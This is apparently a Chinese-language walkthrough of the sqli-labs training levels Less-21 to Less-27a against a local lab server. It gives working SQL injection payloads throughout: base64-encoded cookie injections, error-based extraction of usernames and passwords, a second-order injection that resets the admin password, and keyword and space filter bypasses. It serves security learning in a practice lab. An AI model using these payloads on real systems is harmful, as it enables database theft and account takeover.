提供主要的语句,略去探测数据库名,表名,字段名的步骤。
21.Less21
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(updatexml函数) | 字符型 | Base64编码,Cookie注入点,单引号、括号闭合 |
已经提前取得一个用户信息,用户名dumb,密码2。
并且之后的操作都是用BurpSuite的重发器测试。
1. 正常提交
首先正常登陆上去。
可以发现Cookie进行了Base64编码,我们后续操作都需要对语句进行Base64编码。
2. 语句报错
# Cookie: uname=Dumb1'2"3
Cookie: uname=RHVtYjEnMiIz
3. 执行注入的SQL
# Cookie: Dumb ') or 1 #
Cookie: RHVtYiAnKSAgb3IgMSAj
# Cookie: uname=Dumb ') order by 4#
Cookie: uname=RHVtYiAnKSAgb3JkZXIgYnkgNCM
# Cookie: uname=Dumb ') order by 3#
Cookie: uname=RHVtYiAnKSAgb3JkZXIgYnkgMyM=
4. 数据获取
# Cookie: uname=Dumb ') union select 1,2,updatexml(1, concat(0x7e, (select version())) ,1) #
Cookie: uname=RHVtYiAnKSAgdW5pb24gc2VsZWN0IDEsMix1cGRhdGV4bWwoMSwgIGNvbmNhdCgweDdlLCAoc2VsZWN0IHZlcnNpb24oKSkpICwxKSAj
即可报错出数据库版本。使用下面的代码即可爆出数据库的数据。
# Cookie: uname=Dumb ') union select 1,2,updatexml(1, concat(0x7e, (select concat_ws(0x7e,username,password) from (select * from users limit 0,1)x )) ,1) #
Cookie: uname=RHVtYiAnKSAgdW5pb24gc2VsZWN0IDEsMix1cGRhdGV4bWwoMSwgIGNvbmNhdCgweDdlLCAoc2VsZWN0ICBjb25jYXRfd3MoMHg3ZSx1c2VybmFtZSxwYXNzd29yZCkgZnJvbSAoc2VsZWN0ICogZnJvbSB1c2VycyBsaW1pdCAwLDEpeCAgICkpICwxKSAj
22.Less22
请求方式 | 注入方式 | 类型 | 备注 |
POST | 基于报错注入(updatexml函数) | 字符型 | Base64编码,Cookie注入点,双引号闭合 |
已经提前取得一个用户信息,用户名dumb,密码2。
并且之后的操作都是用BurpSuite的重发器测试。
1. 正常提交
首先正常登陆上去。
2. 语句报错
# Cookie: uname=Dumb 1'2"3
Cookie: uname=RHVtYiAxJzIiMw==
3. 数据获取
和Less21类似,都是在Cookie注入,并且Cookie进行了Base64编码,区别是Less22使用双引号(")闭合,我们修改Less21的SQL语句为双引号闭合即可。
# Cookie: uname=Dumb" or 1 #
Cookie: uname=RHVtYiIgb3IgMSAj
# Cookie: uname=Dumb" union select 1,2, updatexml(1, concat(0x7e, (select version()) ) ,1) #
Cookie: uname=RHVtYiIgdW5pb24gc2VsZWN0IDEsMiwgdXBkYXRleG1sKDEsICBjb25jYXQoMHg3ZSwgICAoc2VsZWN0IHZlcnNpb24oKSkgKSAgLDEpICAj
# Cookie: uname=Dumb" union select 1,2, updatexml(1, concat(0x7e, (select concat_ws(0x7e,username, password) from ( select * from users limit 0,1)x )) ,1) #
Cookie: uname=RHVtYiIgdW5pb24gc2VsZWN0IDEsMiwgdXBkYXRleG1sKDEsICBjb25jYXQoMHg3ZSwgICAoc2VsZWN0IGNvbmNhdF93cygweDdlLHVzZXJuYW1lLCBwYXNzd29yZCkgZnJvbSAoIHNlbGVjdCAqIGZyb20gdXNlcnMgbGltaXQgMCwxKXggKSkgLDEpICAj
23.Less23
请求方式 | 注入方式 | 类型 | 备注 |
GET | 基于报错注入(updatexml函数) | 字符型 | 过滤注释符,单引号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-23/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-23/?id=1 1'2"3
3. 执行注入的SQL
由于过滤的#,%23,--+等注释符,我们使用闭合前后引号,使用or连接来使用报错注入。
http://127.0.0.1:8003/Less-23/?id=1' or 1 or '1
http://127.0.0.1:8003/Less-23/?id=1' or (select 1) or '1
4. 数据获取
http://127.0.0.1:8003/Less-23/?id=1' or (select updatexml(1, concat(0x7e, version()) , 1)) or '1
http://127.0.0.1:8003/Less-23/?id=1' or (select updatexml(1, concat(0x7e, (select group_concat(concat_ws(0x7e, username ,password)) from (select * from users limit 0,1)x) ) , 1)) or '1
24.Less24
请求方式 | 注入方式 | 类型 | 备注 |
POST | 二次注入(存储注入) | 字符型 | 单引号闭合 |
我们猜测有一个用户名为admin。
1. 注册用户(一次注入)
用户名:admin'#,密码:123
2. 登陆用户,修改密码(二次注入)
登录用用户admin'#
修改密码,全部输入1。
由于我们的用户名为admin'#,且数据库未对单引号进行转义,我最终修改密码的语句为:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='1' where username='admin'#' and password='1'
UPDATE users SET PASSWORD='1' where username='admin'
成功将admin用户的密码修改为1。
3. 登陆admin用户
用户名:admin,密码:1
同理,对其他用户名依然可以使用此方法进行重置密码。
25.Less25
请求方式 | 注入方式 | 类型 | 备注 |
GET | 基于报错注入(updatexml函数) | 字符型 | 过滤or/and,单引号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-25/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-25/?id=1 1'2"3
3. 执行注入的SQL
有如下绕过方法:1.注释符注释;2.双写;3.||替代or,&&(%26%26)替换and
http://127.0.0.1:8003/Less-25/?id=1' || 1 %26%26 '1
http://127.0.0.1:8003/Less-25/?id=1' oorr 1 aandnd '1
http://127.0.0.1:8003/Less-25/?id=1' --+
4. 数据获取
http://127.0.0.1:8003/Less-25/?id=1' oorr (select updatexml(1,concat( 0x7e, ( select version() ) ),1 )) anandd '1
26.Less25a
请求方式 | 注入方式 | 类型 | 备注 |
GET | 布尔盲注 | 整形 | 过滤or/and |
1. 正常提交
http://127.0.0.1:8003/Less-25a/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-25a/?id=1 1'2"3
http://127.0.0.1:8003/Less-25a/?id=1 oorr 1
3. 执行注入的SQL
http://127.0.0.1:8003/Less-25a/?id=1 aandnd 0
http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select 1)>0
http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select 1)>1
4. 数据获取
使用BurpSuite进行爆破数据库版本为例。
http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select ascii(substr( (select version()) ,1,1)) )>1
整理爆破结果,可到数据库版本。
27.Less26
请求方式 | 注入方式 | 类型 | 备注 |
GET | 基于报错注入(extractvalue函数) | 字符型 | 过滤空格、注释符,单引号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-26/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-26/?id=11'2"3
http://127.0.0.1:8003/Less-26/?id=-1' or --+
3. 执行注入的SQL
由于过滤了空格,我们使用||代替or连接就不需要空格分开,过滤了注释符,我们闭合前后引号使用报错注入。
http://127.0.0.1:8003/Less-26/?id=-1'||1||'
4. 数据获取
我们使用括号()代替空格,例如select 1写为select(1)。
http://127.0.0.1:8003/Less-26/?id=-1'||(select(extractvalue(1,concat(0x7e, (select(version()))))) )||'
28.Less26a
请求方式 | 注入方式 | 类型 | 备注 |
GET | 布尔注入 | 字符型 | 过滤空格、注释符,单引号、括号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-26a/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-26a/?id=11'2"3
http://127.0.0.1:8003/Less-26a/?id=1"
http://127.0.0.1:8003/Less-26a/?id=1'
3. 执行注入的SQL
这里虽然有小括号在外面,但是我们使用||逻辑连接起来,可不去闭合外面的括号。
http://127.0.0.1:8003/Less-26a/?id='|| if(0,1,0) ||'
4. 数据获取
使用BurpSuite进行爆破。
http://127.0.0.1:8003/Less-26a/?id='|| (select(ascii(substr( (select(version())),1,1 ))))=100 ||'
29.Less27
http://127.0.0.1:8003/Less-28/?id=1'
请求方式 | 注入方式 | 类型 | 备注 |
GET | 基于报错注入(updatexml函数) | 字符型 | 过滤关键字select、union,单引号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-27/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-27/?id=1'
http://127.0.0.1:8003/Less-27/?id=1''
3. 执行注入的SQL
使用大小写绕过select和union过滤。
http://127.0.0.1:8003/Less-27/?id=' || (seLEct(1)) || '
http://127.0.0.1:8003/Less-27/?id='%0AUniOn%0aSeLecT%0a1,2,3|| (seLEct(1)) || '
4. 数据获取
http://127.0.0.1:8003/Less-27/?id='%0AUniOn%0aSeLecT%0a1,concat_ws(0x7e,@@datadir,@@basedir,user(),database()),3|| (seLEct(1)) || '
30.Less27a
请求方式 | 注入方式 | 类型 | 备注 |
GET | 基于报错注入(updatexml函数) | 字符型 | 过滤关键字select、union,双引号闭合 |
1. 正常提交
http://127.0.0.1:8003/Less-27a/?id=1
2. 语句报错
http://127.0.0.1:8003/Less-27a/?id=1"
http://127.0.0.1:8003/Less-27a/?id=1""
3. 数据获取
和Less27一样,主要是闭合的符号变为双引号。
http://127.0.0.1:8003/Less-27a/?id="%0AUniOn%0aSeLecT%0a1,concat_ws(0x7e,@@datadir,@@basedir,user(),database()),3|| (seLEct(1)) || "